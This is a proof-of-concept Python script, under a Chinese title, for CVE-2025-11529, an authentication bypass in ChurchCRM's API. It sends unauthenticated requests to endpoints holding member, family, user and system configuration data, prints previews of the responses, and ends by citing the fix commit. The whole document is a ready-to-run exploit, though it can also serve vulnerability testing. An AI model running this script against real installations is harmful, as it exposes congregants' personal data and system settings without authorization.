CVE-2025-11529：ChurchCRM API端点认证绕过漏洞

# CVE-2025-11529 PoC - ChurchCRM API Authentication Bypass # This PoC demonstrates the missing authentication vulnerability # in ChurchCRM's AuthMiddleware component import requests # Target ChurchCRM instance TARGET_URL = "http://target-churchcrm.example.com" # Vulnerable API endpoints that should require authentication # but are accessible without credentials due to AuthMiddleware flaw API_ENDPOINTS = [ "/api/persons", "/api/families", "/api/groups", "/api/users", "/api/dashboard", "/api/system/config", ] def exploit_auth_bypass(base_url, endpoint): """ Attempt to access protected API endpoint without authentication. Due to CVE-2025-11529, the AuthMiddleware fails to enforce authentication on API requests. """ url = f"{base_url}{endpoint}" # Send request WITHOUT any authentication credentials # No cookies, no API keys, no session tokens headers = { "Accept": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.get(url, headers=headers, timeout=10) if response.status_code == 200: print(f"[VULNERABLE] {endpoint} - Status: {response.status_code}") print(f" Response preview: {response.text[:200]}") return True else: print(f"[PROTECTED] {endpoint} - Status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[ERROR] {endpoint} - {str(e)}") return False def main(): print(f"[*] Testing CVE-2025-11529 against {TARGET_URL}") print(f"[*] ChurchCRM AuthMiddleware Authentication Bypass\n") vulnerable_count = 0 for endpoint in API_ENDPOINTS: if exploit_auth_bypass(TARGET_URL, endpoint): vulnerable_count += 1 print(f"\n[*] Results: {vulnerable_count}/{len(API_ENDPOINTS)} endpoints vulnerable") if vulnerable_count > 0: print("[!] Target is VULNERABLE to CVE-2025-11529") print("[!] Recommended: Upgrade to ChurchCRM version with fix") print("[!] Patch: 3a1cffd2aea63d884025949cfbcfd274d06216a4") if __name__ == "__main__": main()